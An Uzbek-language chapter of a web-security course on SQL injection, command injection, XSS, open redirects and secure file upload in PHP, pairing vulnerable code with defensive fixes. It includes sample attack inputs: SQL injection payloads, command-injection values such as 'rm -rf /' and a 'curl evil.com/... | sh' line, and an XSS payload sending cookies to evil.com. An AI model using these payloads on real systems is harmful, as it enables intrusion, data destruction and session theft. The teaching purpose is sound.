8-bo‘lim
Veb zaifliklari - inyeksiya va XSS
OWASP Top 10 ning birinchi qismi - SQL inyeksiya, buyruq inyeksiyasi, XSS va ularga qarshi himoya.
Ushbu bo‘lim mundarijasi
- OWASP Top 10
- Inyeksiyaning umumiy sababi
- SQL inyeksiya
- Inyeksiya turlari
- Himoya
- Buyruq inyeksiyasi
- XSS - o'zaro sayt skriptlari
- Kontekstga mos qochirish
- Shablon dvigatellari
- Foydalanuvchi HTML kiritsa
- DOM XSS
- Kontent xavfsizlik siyosati
- Boshqa inyeksiya turlari
- Fayl yuklash
- Zaifliklarni tekshirish
- Himoya tekshiruv ro'yxati
- Xulosa
Veb-ilovalar eng ko'p hujumga uchraydigan tizimlar. OWASP Top 10 - eng jiddiy zaifliklar ro'yxati.
OWASP Top 10 #
Inyeksiyaning umumiy sababi #
Barcha inyeksiya zaifliklarining sababi bir xil:
Ma'lumot va buyruq aralashib ketadi.
Interpretator (SQL, shell, HTML) foydalanuvchi kiritgan matnni kod sifatida qabul qiladi.
Yechim ham bir xil: ularni ajrating.
SQL inyeksiya #
// ZAIF KOD
$ism = $_GET['ism'];
$natija = $pdo->query("SELECT * FROM talabalar WHERE ism = '$ism'");
Oddiy so'rov: ism=Husanboy
SQL: SELECT * FROM talabalar WHERE ism = 'Husanboy'
Hujum: ism=' OR '1'='1
SQL: SELECT * FROM talabalar WHERE ism = '' OR '1'='1'
Natija: butun jadval qaytadi
Inyeksiya turlari #
1. Klassik - natija ekranda ko'rinadi
' UNION SELECT login, parol FROM users--
2. Xato asosida - xato xabaridan ma'lumot olish
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),...)) x)--
3. Ko'r - javob "ha/yo'q" ko'rinishida
' AND SUBSTRING(parol,1,1)='a'--
4. Vaqt asosida - javob vaqti bo'yicha
' AND IF(1=1, SLEEP(5), 0)--
"Bizda xato xabari ko'rinmaydi, demak xavfsiz" - noto'g'ri.
Hujumchi so'rov javob vaqtini o'lchab, ma'lumotni bit-bit chiqarib olishi mumkin. Bu sekin, lekin avtomatlashtirilgan vositalar buni bir necha soatda bajaradi.
Himoya #
// 1. TAYYORLANGAN SO'ROVLAR - asosiy himoya
$stmt = $pdo->prepare('SELECT * FROM talabalar WHERE ism = ? AND sinf = ?');
$stmt->execute([$ism, $sinf]);
// Nomlangan parametrlar
$stmt = $pdo->prepare(
'SELECT * FROM buyurtmalar WHERE mijoz_id = :mijoz AND holat = :holat'
);
$stmt->execute(['mijoz' => $mijozId, 'holat' => $holat]);
// 2. IN uchun
$idlar = [3, 7, 12, 18];
$belgilar = implode(',', array_fill(0, count($idlar), '?'));
$stmt = $pdo->prepare("SELECT * FROM mahsulotlar WHERE id IN ({$belgilar})");
$stmt->execute($idlar);
// 3. Jadval va ustun nomlari - parametrlash ISHLAMAYDI
// Oq ro'yxat ishlating
final class SaralashTekshiruvchi
{
private const RUXSAT_USTUNLAR = ['id', 'nomi', 'narx', 'yaratilgan'];
public function tekshiring(string $ustun, string $yonalish): array
{
if (!in_array($ustun, self::RUXSAT_USTUNLAR, true)) {
$ustun = 'id';
}
$yonalish = strtolower($yonalish) === 'desc' ? 'DESC' : 'ASC';
return [$ustun, $yonalish];
}
}
[$ustun, $yonalish] = $tekshiruvchi->tekshiring($_GET['saralash'], $_GET['yonalish']);
$sql = "SELECT * FROM mahsulotlar ORDER BY {$ustun} {$yonalish}";
// ZAIF - ba'zi kodlashlarda chetlab o'tiladi
$ism = $pdo->quote($_GET['ism']);
$sql = "SELECT * FROM talabalar WHERE ism = {$ism}";
mysql_real_escape_string va shunga o'xshash funksiyalar ba'zi
belgilar kodlashida (masalan GBK) chetlab o'tilishi mumkin.
Faqat parametrlangan so'rovlar ishonchli himoya beradi.
// 4. To'g'ri PDO sozlamalari
$pdo = new PDO($dsn, $user, $parol, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false, // MUHIM
]);
ATTR_EMULATE_PREPARES => false nima uchun muhim?Standart holatda PDO tayyorlangan so'rovlarni emulyatsiya qiladi - ya'ni qiymatlarni o'zi so'rovga qo'yadi.
Bu odatda xavfsiz, lekin haqiqiy server tomonidagi tayyorlash ishonchliroq: baza so'rov tuzilmasini oldindan tahlil qiladi va qiymat uni o'zgartira olmaydi.
// 5. Baza foydalanuvchisi huquqlarini cheklash
// GRANT SELECT, INSERT, UPDATE, DELETE ON dokon.* TO 'app'@'localhost';
// DROP, ALTER, FILE huquqlari berilmaydi
Buyruq inyeksiyasi #
// ZAIF
$fayl = $_POST['fayl'];
system("convert {$fayl} -resize 200x200 kichik.jpg");
fayl = rasm.jpg; rm -rf /
fayl = rasm.jpg && curl evil.com/skript.sh | sh
fayl = rasm.jpg $(whoami)
// XAVFSIZ - massiv sifatida argumentlar
$jarayon = new Process([
'convert',
$fayl,
'-resize', '200x200',
$natija,
]);
$jarayon->run();
// Yoki escapeshellarg
$buyruq = sprintf(
'convert %s -resize 200x200 %s',
escapeshellarg($fayl),
escapeshellarg($natija),
);
Eng yaxshi yechim - tashqi buyruq o'rniga kutubxona ishlatish:
// Shell o'rniga
$rasm = new Imagick($fayl);
$rasm->thumbnailImage(200, 200, true);
$rasm->writeImage($natija);
Shell chaqiruvi bo'lmasa - buyruq inyeksiyasi ham bo'lmaydi.
// Yo'l o'tish hujumi
$fayl = $_GET['fayl']; // ../../../etc/passwd
readfile("/var/www/yuklamalar/{$fayl}");
// XAVFSIZ
$nom = basename($fayl);
$yol = realpath("/var/www/yuklamalar/{$nom}");
if ($yol === false || !str_starts_with($yol, '/var/www/yuklamalar/')) {
throw new NotogriYol();
}
readfile($yol);
XSS - o'zaro sayt skriptlari #
// ZAIF
echo "<div>Salom, {$_GET['ism']}!</div>";
ism=<script>fetch('https://evil.com/?c='+document.cookie)</script>
// XAVFSIZ
echo '<div>Salom, ' . htmlspecialchars($_GET['ism'], ENT_QUOTES, 'UTF-8') . '!</div>';
Kontekstga mos qochirish #
// 1. HTML matn
echo htmlspecialchars($matn, ENT_QUOTES, 'UTF-8');
// 2. HTML atribut - qo'shtirnoq majburiy
echo '<input value="' . htmlspecialchars($qiymat, ENT_QUOTES, 'UTF-8') . '">';
// 3. JavaScript
echo '<script>const ism = ' . json_encode($ism, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
// 4. URL parametri
echo '<a href="/qidiruv?q=' . urlencode($sorov) . '">';
// 5. CSS - foydalanuvchi ma'lumotini umuman qo'ymang
// htmlspecialchars ishlatilgan, lekin kontekst noto'g'ri
echo '<a href="' . htmlspecialchars($url) . '">Havola</a>';
Agar $url = "javascript:alert(1)" bo'lsa, htmlspecialchars
uni o'zgartirmaydi va hujum ishlaydi.
// TO'G'RI
$sxema = parse_url($url, PHP_URL_SCHEME);
if (!in_array($sxema, ['http', 'https'], true)) {
$url = '#';
}
echo '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '">Havola</a>';
Shablon dvigatellari #
{# Twig - avtomatik qochiradi #}
<div>{{ foydalanuvchi.ism }}</div>
{# Kontekstga mos qochirish #}
<script>const ism = {{ foydalanuvchi.ism|json_encode|raw }};</script>
<a href="/profil?id={{ id|url_encode }}">Profil</a>
{# Xavfli - faqat ishonchli HTML uchun #}
<div>{{ matn|raw }}</div>
Twig, Blade, Jinja2 - hammasi standart holatda qochiradi.
Bu xavfsiz standart prinsipi: dasturchi qochirishni unutsa ham, himoya ishlaydi.
|raw yoki {!! !!} ni ishlatganda har doim ikki marta o'ylang.
Foydalanuvchi HTML kiritsa #
// HTML Purifier - ishonchli tozalash
$sozlama = HTMLPurifier_Config::createDefault();
$sozlama->set('HTML.Allowed', 'p,b,i,u,strong,em,a[href],ul,ol,li,br');
$sozlama->set('URI.AllowedSchemes', ['http' => true, 'https' => true]);
$sozlama->set('HTML.TargetBlank', true);
$tozalovchi = new HTMLPurifier($sozlama);
$xavfsizHtml = $tozalovchi->purify($foydalanuvchiHtml);
// ZAIF - o'nlab chetlab o'tish usuli bor
$matn = str_replace('<script>', '', $matn);
Chetlab o'tish:
<scr<script>ipt>
<SCRIPT>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">
HTML tozalash - juda murakkab masala. HTML Purifier yoki DOMPurify kabi sinovdan o'tgan kutubxonalarni ishlating.
DOM XSS #
// ZAIF
document.getElementById('natija').innerHTML = location.hash.substring(1);
element.innerHTML = foydalanuvchiMalumoti;
eval(foydalanuvchiKodi);
document.write(malumot);
// XAVFSIZ
document.getElementById('natija').textContent = location.hash.substring(1);
element.textContent = foydalanuvchiMalumoti;
// HTML kerak bo'lsa - tozalang
element.innerHTML = DOMPurify.sanitize(foydalanuvchiHtml);
// Xavfsiz element yaratish
const div = document.createElement('div');
div.textContent = foydalanuvchiMalumoti; // avtomatik qochiriladi
konteyner.appendChild(div);
Kontent xavfsizlik siyosati #
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-$request_id';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.dokon.uz;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
" always;
// Nonce bilan inline skript
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}'");
<script nonce="<?= $nonce ?>">
console.log('Bu skript ishlaydi');
</script>
<script>
// Bu ishlamaydi - nonce yo'q
</script>
CSP XSS ni tuzatmaydi, lekin uning ta'sirini keskin kamaytiradi.
Agar hujumchi sahifaga <script> kiritsa ham, brauzer uni
bajarmaydi - chunki nonce yo'q.
CSP ni bosqichma-bosqich joriy qiling:
Content-Security-Policy-Report-Onlybilan boshlang- Hisobotlarni kuzating
- Qoidalarni sozlang
- Keyin majburiy rejimga o'ting
# Kuzatuv rejimi
add_header Content-Security-Policy-Report-Only "
default-src 'self';
report-uri /csp-hisobot;
" always;
// Hisobotlarni qabul qilish
Route::post('/csp-hisobot', function (Sorov $sorov) {
$hisobot = json_decode($sorov->xomTana(), true);
logger()->warning('CSP buzilishi', [
'buzilgan_direktiva' => $hisobot['csp-report']['violated-directive'] ?? null,
'bloklangan_uri' => $hisobot['csp-report']['blocked-uri'] ?? null,
'hujjat_uri' => $hisobot['csp-report']['document-uri'] ?? null,
]);
return response('', 204);
});
Boshqa inyeksiya turlari #
// LDAP inyeksiya
$filtr = "(uid={$_GET['login']})"; // ZAIF
$filtr = '(uid=' . ldap_escape($login, '', LDAP_ESCAPE_FILTER) . ')';
// XPath inyeksiya
$sorov = "//user[login='{$login}']"; // ZAIF
// NoSQL inyeksiya
// {"login": {"$ne": null}, "parol": {"$ne": null}}
$filtr = ['login' => (string) $login, 'parol' => (string) $parol];
// Shablon inyeksiyasi
$shablon = "Salom, {$_GET['ism']}"; // ZAIF
$twig->render($shablon); // kod bajarilishi mumkin
// Header inyeksiyasi
header("Location: {$_GET['keyingi']}"); // ZAIF - CRLF inyeksiya
// Yo'naltirishni tekshirish
final class YonaltirishTekshiruvchi
{
private const RUXSAT_HOSTLAR = ['dokon.uz', 'www.dokon.uz'];
public function xavfsizmi(string $url): bool
{
// Nisbiy yo'l - xavfsiz
if (str_starts_with($url, '/') && !str_starts_with($url, '//')) {
return true;
}
$host = parse_url($url, PHP_URL_HOST);
return $host !== null && in_array($host, self::RUXSAT_HOSTLAR, true);
}
}
https://dokon.uz/kirish?keyingi=https://dokon-uz.evil.com
Foydalanuvchi ishonchli domendagi havolani bosadi, lekin soxta saytga tushadi.
Bu fishing uchun juda samarali - havola haqiqatan dokon.uz bilan
boshlanadi.
Fayl yuklash #
final class XavfsizFaylYuklovchi
{
private const RUXSAT_TURLAR = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/webp' => 'webp',
];
private const MAKS_HAJM = 5 * 1024 * 1024;
public function yuklang(YuklanganFayl $fayl): string
{
if ($fayl->xatoBormi()) {
throw new YuklashXatosi($fayl->xatoKodi());
}
if ($fayl->hajm() > self::MAKS_HAJM) {
throw new FaylJudaKatta();
}
// MIME turini MAZMUN bo'yicha aniqlash
$tur = (new finfo(FILEINFO_MIME_TYPE))->file($fayl->vaqtinchalikYol());
if (!isset(self::RUXSAT_TURLAR[$tur])) {
throw new NotogriFaylTuri($tur);
}
// Rasm haqiqatan rasmmi?
$olcham = @getimagesize($fayl->vaqtinchalikYol());
if ($olcham === false) {
throw new NotogriFaylTuri('Rasm emas');
}
// Rasmni qayta yaratish - yashirin kod yo'qoladi
$yangiNom = bin2hex(random_bytes(16)) . '.' . self::RUXSAT_TURLAR[$tur];
$this->rasmniQaytaYarating($fayl->vaqtinchalikYol(), $yangiNom, $tur);
return $yangiNom;
}
private function rasmniQaytaYarating(string $manba, string $nom, string $tur): void
{
$rasm = match ($tur) {
'image/jpeg' => imagecreatefromjpeg($manba),
'image/png' => imagecreatefrompng($manba),
'image/webp' => imagecreatefromwebp($manba),
};
$yol = self::YUKLAMALAR_YOLI . '/' . $nom;
match ($tur) {
'image/jpeg' => imagejpeg($rasm, $yol, 85),
'image/png' => imagepng($rasm, $yol, 8),
'image/webp' => imagewebp($rasm, $yol, 85),
};
imagedestroy($rasm);
}
}
| Hujum | Himoya |
|---|---|
rasm.php.jpg | Kengaytmani o'zingiz belgilang |
| Rasm ichida PHP kodi | Rasmni qayta yarating |
../../../etc/passwd | basename() va realpath() |
| Juda katta fayl | Hajm cheklovi |
| Zip bomba | Ochilgan hajmni tekshirish |
| SVG ichida JavaScript | SVG ni umuman qabul qilmang yoki tozalang |
Qo'shimcha choralar:
- Fayllarni veb-ildizdan tashqarida saqlang
- Ularni PHP orqali bering
- Yuklamalar papkasida PHP bajarilishini o'chiring
# Yuklamalar papkasida skript bajarilishini taqiqlash
location /yuklamalar/ {
location ~ \.php$ {
deny all;
return 403;
}
add_header Content-Disposition "attachment";
add_header X-Content-Type-Options "nosniff";
}
Zaifliklarni tekshirish #
# Statik tahlil
composer require --dev vimeo/psalm
vendor/bin/psalm --taint-analysis
# Semgrep - naqsh asosida qidirish
semgrep --config=p/security-audit manba/
semgrep --config=p/php manba/
manba/Kontrollerlar/QidiruvKontrolleri.php
php.lang.security.injection.tainted-sql-string
User input flows into SQL query without sanitization
42┆ $sql = "SELECT * FROM mahsulotlar WHERE nomi LIKE '%{$sorov}%'";
# Dinamik tekshirish (faqat o'z tizimingizda!)
# OWASP ZAP
zap-cli quick-scan --self-contained http://localhost:8080
Skanerlash vositalari hujum trafigi yaratadi.
Boshqa odamning saytini ruxsatsiz skanerlash - jinoyat.
Mashq uchun:
- Lokal virtual mashina
- OWASP Juice Shop, DVWA (o'quv ilovalar)
- TryHackMe, HackTheBox
- O'z loyihangiz
Himoya tekshiruv ro'yxati #
| Chora | Bajarildi |
|---|---|
| Barcha SQL so'rovlar parametrlangan | |
ATTR_EMULATE_PREPARES => false | |
| Ustun nomlari oq ro'yxatdan | |
Shell chaqiruvlari yo'q yoki escapeshellarg bilan | |
Fayl yo'llari realpath bilan tekshiriladi | |
| Chiqish kontekstga mos qochiriladi | |
| Shablon dvigateli avtomatik qochiradi | |
| Foydalanuvchi HTML - HTML Purifier orqali | |
innerHTML o'rniga textContent | |
| CSP sozlangan | |
| Yo'naltirishlar oq ro'yxatdan | |
| Fayl yuklash: MIME mazmun bo'yicha, qayta yaratish | |
| Yuklamalar papkasida PHP o'chirilgan | |
| Baza foydalanuvchisi huquqlari cheklangan | |
| WAF yoqilgan |
- Lokal muhitda DVWA yoki OWASP Juice Shop o'rnating.
- SQL inyeksiya zaifligini toping va tuzating.
- Zaif kodni parametrlangan so'rovga aylantiring.
- Saralash uchun oq ro'yxat tekshiruvini yozing.
- XSS zaifligini toping va qochirish qo'shing.
- Kontekstga mos qochirishning 4 turini qo'llang.
- CSP ni
Report-Onlyrejimida yoqing va hisobotlarni ko'ring. - HTML Purifier bilan foydalanuvchi HTML ini tozalang.
- Xavfsiz fayl yuklovchi yozing va uni sinang.
semgrepbilan loyihangizni skanerlang.
Xulosa #
- Barcha inyeksiyalarning sababi bir xil: ma'lumot va buyruq aralashadi.
- SQL uchun faqat parametrlangan so'rovlar ishonchli.
- Qochirish (
quote,escape) - ishonchsiz himoya. - Ustun va jadval nomlari uchun oq ro'yxat.
- Shell chaqiruvi o'rniga kutubxona ishlating.
- XSS uchun kontekstga mos qochirish kerak.
- Avtomatik qochirishli shablon dvigateli ishlating.
- Foydalanuvchi HTML ini HTML Purifier bilan tozalang.
innerHTMLo'rnigatextContent.- CSP - ikkinchi himoya chizig'i, XSS ta'sirini kamaytiradi.
- Ochiq yo'naltirish fishing uchun ishlatiladi - oq ro'yxat qo'ying.
- Fayl yuklashda: MIME mazmun bo'yicha, rasmni qayta yarating.
Keyingi bo'limda CSRF, SSRF va sessiya zaifliklarini ko'ramiz.
O‘qish tarixini saqlamoqchimisiz?
Tizimga kirsangiz, tugatgan bo‘limlaringiz saqlanadi va qoldirgan joyingizdan davom etasiz.
Xatolik topdingizmi?
Imlo xatosi, ishlamaydigan kod yoki noto‘g‘ri ma‘lumotni ko‘rsangiz - bizga xabar bering. Har bir xabar administrator tomonidan ko‘rib chiqiladi.